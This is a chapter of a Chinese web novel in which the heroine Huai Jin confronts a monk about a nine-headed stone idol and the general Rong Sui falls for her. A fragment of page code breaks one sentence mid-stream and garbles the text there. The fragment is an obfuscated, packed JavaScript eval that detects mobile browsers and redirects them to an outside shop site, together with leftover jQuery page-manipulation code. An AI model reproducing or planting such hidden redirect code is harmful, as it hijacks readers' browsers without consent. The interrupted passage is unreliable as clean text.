22. 病弱小姐
    他虽有些看相的能力,却到底只是一个普通人,面对那样神鬼莫测的手段,也无可奈何。

    况且他一个批命,对容随这样的大气运者或许会有影响,但却不至于妨碍到他的性命。

    那些普通的僧人却不同,他若是不应,那个石像,一定会要了他们的命的。

    怀锦简直要被他这样不要脸的话给气笑了。

    “他气运深厚,就活该给你们挡灾?”

    即便那个石像本身就是冲着容随来的,他们都是被容随给连累,但做了就是做了,立场不同,为求自保而已,没什么好说的。

    可做了之后,还要说这样冠冕堂皇的话,未免过于可笑。

    要知道,若是没有她的到来,因为他这样的想法,容随绚烂的人生戛然而止,大尚失去护国名将,被戎狄的铁骑踏破,国破家亡?

    到了那时候,他是否还能像现在这样,义正言辞的说这话?

    虚空理亏,又有求于怀锦,这会儿也只是苦笑一声,唇瓣动了动,没有反驳。

    容随站在旁边一脸茫然。

    他怎么也想不到,这居然还跟他有关系?

    所以,她撑着那柔弱的身子,也要执着的收拾这个和尚,是为了他?

    这个想法,让容随耳根子一热,有些飘飘然,都没去在意他被人算计了的事情。

    好在怀锦并没有注意到他的神游,她也没心情去和虚空掰扯什么东西。

    好像刚才那句质问,只是随口一提而已。

    她垂着眼睫,开始思索虚空所说的那个石像。

    竟然又是石像,难道又是绯狐搞的鬼?

    可也不对,那股阴气里,并没有绯狐的蛊惑之力。

    “那石像是什么样的?”

    虚空回忆了一下那座石像的模样。

    “蛇首兽身,九首人面,蛇身而青,很像传闻中的相柳。”

    不是狐狸啊,那就不是绯狐了。

    怀锦叹息一声,脑仁有点疼。

    这些外来者,怎么都这么喜欢用石像,那石像难不成还是开过光的么?

    【他们不能直接进来嘛,投入石像分身是最省力的方法了。】

    “所以,这个什么九首人面的东西,你知道是谁?”

    【对不起宿主,我不知道……】

    它只是一个新生系统,对那些东西的了解,都来自于时空管理局的数据库。

    系统说不出个所以然来,怀锦也没什么失望的情绪。

    确定从虚空这儿得不到再多的消息,怀锦就没兴趣再呆在这儿了。

    一看她要走,虚空顿时急了,挣扎着爬起来。

    “您,您能不能救救皇觉寺的僧人?”

    他不敢说让她救他,怕惹了她不快。

    怀锦脚步一顿,瞥向虚空,沉吟一瞬,还是又转身回去,在他肩膀上一点。

    他脱臼了的胳膊,咔擦一声,又重新接了回去,那附着在他骨髓里,刺骨的灼痛,也跟着消失了。

    “只要你安分些,别在背后搞小动作,我就不会让那些僧人出事。”

    虚空来不及去感受身体的轻松,站起身,双手合十,对着容随和怀锦深深的鞠了一躬。

    “若寺中僧人能安然无恙,贫僧必不会做那昧良心之事。”

    他到底只是一个普通僧人,不是真佛,他也有自己的私欲。

    怀锦没说什么,直接离开了这里。

    容随也不知道怎么想的,居然也跟着怀锦一起走了,看都没看一眼那个差点害了他的人。

    虽然现在还什么都没发生,对他的伤害还没有形成。

    离开了行宫的范围,走在热闹的大街上,怀锦也没管跟在她身后的容随。

    一路走走停停,直到快到尚书府了,容随还是没离开,怀锦这才无语的停下脚步,抄着手往回看去。

    “你跟着我做什么。”

    她还得翻墙回去呢,难道要让他知道,大佬回自己家都得偷摸翻墙?

    那她面子往哪儿搁!

    容随一愣,面上又是一阵火烧似的灼热。

    他自己都没反应过来,他居然跟了她一路,她该不会以为他是什么变态吧!

    “我……我……”

    他想解释,可结结巴巴的我了半天,愣是一个字都没憋出来。

    容随心底更急了,这个时候,他真是恨死了他的嘴笨拙舌!

    忽的,他目光在她殷红的唇边一顿,灵光一闪,强装镇定的从怀里摸出一块帕子,上前递给她。

    “那个……你嘴角还沾着血……”

    说着话,他又开始不好意思了,目光四处乱扫,就是不敢去看她的脸。

    这么一扫,他的视线就被不远处,那座府邸上的牌匾给吸引。

    那牌匾上,龙飞凤舞的书写着“封尚书府”几个大字。

    这几个字,像是一盆冷水,兜头浇在了他头上,让他什么害羞,不知所措都全数褪去,整个人如坠冰窟。

    他怎么就忘了,这次回京,是陛下给他指了婚,他如今已经有了未婚妻,不再是孑然一人了。

    容随眼神黯淡了下去,整个人都蔫了。

    “你若就这么回去,家里人恐怕会担心的。”

    听闻他的未婚妻,患有心疾,身子较弱,一直在家里静养,从未出过门。

    她是标准的大家闺秀,是脆弱的娇花,和虽看似柔弱,却那么坚韧,淡然洒脱的她,是完全不一样的。

    他这样的反应,若是还不能知道他这是对她一见钟情了,那他就是个傻子。

    可为什么不能早点遇见她呢,这样,在陛下询问他婚事时,他就可以直接请陛下赐婚,而非让陛下随意指婚了。

    怀锦没注意到容随的不对劲,她此时背脊微微僵硬,眼神微滞。

    要死了要死了,怎么把这茬给忘了,她就顶着这满嘴的血在大街上晃悠了那么久?

    丢死人了!

    怀锦接过帕子,不急不缓的擦拭着唇边的血迹,一点儿也看不出来她内心的暴躁。

    【……】要死了,宿主怎么越来越精分了,有本事她别装面瘫,把这些都表现出来啊!

    仔仔细细将唇边的血都擦干净,怀锦手顿了下,最终还是把这沾了血的帕子收回了自己怀里。

    “谢谢。”

    都弄脏了,改天再还给他一条新的好了。

    “不客气。”

    容随看着她收好自己的帕子,内心更加酸涩了。

    她一定也对他是不同的吧,不然为什么要撑着这柔弱的身子去找那个和尚对峙?

    又怎么会连一条帕子,都要仔细收好呢?

    如今婚期还未定下,或许,他可以去跟陛下说说,看能不能取消了和封小姐的婚事。

    就是不知道,那位娇弱的封小姐,能不能承受得住这样的婚事变动。

    只是随手一收,完全没有什么仔细的怀锦,对容随点点头,转身就继续走了。

    这下,容随也不好再继续跟着她了,可他到底是没舍得就这样离开。

    只能站在原地,眼巴巴的看着她的身影消失在转角。

    一直到再也看不到她了,容随才深深地叹了口气,带着浑身的丧气,转身慢吞吞的往行宫走。

    而终于摆脱了容随注视的怀锦,在转进拐角的瞬间,整个人就松懈了下来,靠着墙,手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208340|151056||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    捂着心脏,大口大口的喘息。

    吓死了,差点就绷不住,在男主面前露出这弱鸡的模样了。

    这可不行,身为来拯救弱鸡的大佬,要是比男主那个弱鸡还弱鸡,那她还有什么脸说是来拯救他的?

    【……】

    系统看着屏幕上,那属于男主的心跳波动,听着怀锦内心的弹幕刷屏,决定还是什么都不说了。

    算了算了,就算让宿主知道了,她也不会对男主另眼相待,说不定还得嫌弃男主,打碎人家一颗少男心。

    还是让男主继续靠脑补度日好了,这样还能过得开心点儿。

    怀锦缓了会儿,等身上有了些力气,就翻墙回了院子。

    而容随,在回了行宫后,越想越心酸,越想越难受,最终还是没憋住,当天晚上就冲进了皇宫。

    不行,他好不容易喜欢上一个人,绝对不能就这么放弃了!

    而大晚上被他打扰了的大尚皇,在听到他的来意后,脸上的惊讶藏都藏不住。

    “你说你有喜欢的人了?”

    不容易啊,他还以为,若没有他的帮忙,这傻小子得孤家寡人一辈子呢。

    没想到他也有春心萌动的一天,真是稀奇了。

    “是哪家小姐?”

    容随一僵,神色变了变。

    完了,他大概,好像,似乎犯了一个致命的错误。

    他压根没问那姑娘姓甚名谁,家住何方,就剃头担子一头热,直接冲进皇宫来了。

    大尚皇多精的一人,一看容随这细微的反应,就立刻明白了。

    他有些哭笑不得,都不知道该摆出什么表情才好了。

    好半晌,大尚皇还是没忍住,失笑出声,他打趣的看着容随。

    “容爱卿啊,就算朕愿意自打嘴巴,给你重新赐婚,可你也得先知道人姑娘家是谁啊!”

    容随扯出一个欲哭无泪的表情,懊恼的拍了下自己的脑袋,整个人都丧里丧气的。

    “那陛下,您能不能先解了臣与封小姐的婚事?”

    大尚皇摇摇头,叹息一声。

    “哪儿有这么简单。”

    封尚书本就不情愿嫁女儿,若非是他打了他个措手不及,封小姐自己又没反对,那道圣旨,恐怕还有得磨。

    这会儿他要是又反悔,主动解了婚事,封尚书那老滑头,不得闹翻了天?

    不过这事儿倒也不是没有操作的余地。

    容随还想说什么,殿外忽然有敲门声传来,大尚皇抬手压了压,阻止了他的话,扬声对外询问。

    “何事?”

    “陛下,封尚书求见陛下。”

    大尚皇一顿,看了眼愣住的容随,示意他稍安勿躁。

    “宣。”

    封尚书没一会儿,就进来了。

    那是一个浑身都带着书卷气的儒雅男人,和人高马大,粗犷不羁的容随,是完全不同的类型。

    他没想到会在御书房见到容随,微微一顿,却又立刻移开了目光,一撩衣袍,笔直的跪在了地上。

    “微臣参见陛下,陛下万岁万岁万万岁!”

    “免礼,赐坐。”

    大尚皇随意的坐在那儿,虚虚抬手,隔空虚扶了他一把。

    “封爱卿深夜前来,所为何事?”

    说是深夜,其实此时天才刚黑下去不久。

    只是整个大尚官员都知道,大尚皇宫,晚上从不留外男,不是十万火急的事情,这些大臣,是绝对不会在晚上来觐见的。

    封尚书谢了恩,却没坐下,他手交叠放在地上,深深弯腰,额头抵在手背上。

    “微臣斗胆,恳请陛下,派宣太医去为小女看诊!”